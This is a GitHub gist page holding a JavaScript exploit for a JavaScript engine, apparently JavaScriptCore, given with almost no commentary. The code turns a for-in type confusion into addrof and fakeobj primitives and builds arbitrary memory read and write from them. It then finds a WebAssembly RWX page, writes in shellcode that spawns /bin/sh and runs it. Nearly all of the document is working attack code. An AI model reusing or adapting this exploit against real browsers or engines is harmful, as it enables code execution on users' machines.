Skip to content

Instantly share code, notes, and snippets.

@ntfargo
Last active November 27, 2024 16:02
Show Gist options
  • Save ntfargo/f718366cd69d885efb3a6e4a3bba2234 to your computer and use it in GitHub Desktop.
Save ntfargo/f718366cd69d885efb3a6e4a3bba2234 to your computer and use it in GitHub Desktop.
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);
var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {
arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y: 1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };
function trigger(arr, a2) {
for (let i in obj) {
obj = [1];
let out = arr[i];
a2.y = out;
}
}
function fakeObject(addr, a2) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, a2);
}
function compare_obj(pointer, target_obj) {
return pointer.y === target_obj;
}
trigger(obj, t);
compare_obj(t, obj_to_leak);
for (let i = 0; i < 0x30000; i++) {
trigger(fbuf, t);
}
lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}
for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}
print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
addr = 0x7fffff50c580n - i*0x1000000n;
// print(i);
// hexx("addr", addr);
fakeObject(addr, t);
let res = compare_obj(t, obj_to_leak);
if (res) {
hexx("addr", addr);
break;
}
}
obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;
fakeObject(addr+0x10n, t);
var fake_object = t.y;
//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));
function addressOf(obj) {
butterfly.x = obj;
return f64_to_u64(fake_object[2]);
}
print("==> End");
hexx("test", addressOf(addressOf_obj));
function fakeObject_better(addr) {
fake_object[2] = u64_to_f64(addr);
return butterfly.x;
}
function leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};
let fake_object_addr = addressOf(container) + 0x10n;
let leak_fake_object = fakeObject_better(fake_object_addr);
let num = f64_to_u64(leak_fake_object[0]);
let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return structureID;
}
var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var ID = [noCOW];
//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);
var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;
var container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};
var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);
//debug(describe(victim));
//debug(describe(driver));
var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];
driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));
driver[1] = boxed;
victim[1] = sharedButterfly;
function new_addressOf(obj) {
boxed[0] = obj;
return f64_to_u64(unboxed[0]);
}
function new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return boxed[0];
}
function read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return new_addressOf(victim.prop);
}
function write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}
function ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for (let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return sc;
}
function arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);
var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];
arb_write(rwx_addr, shellcode);
pwn();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment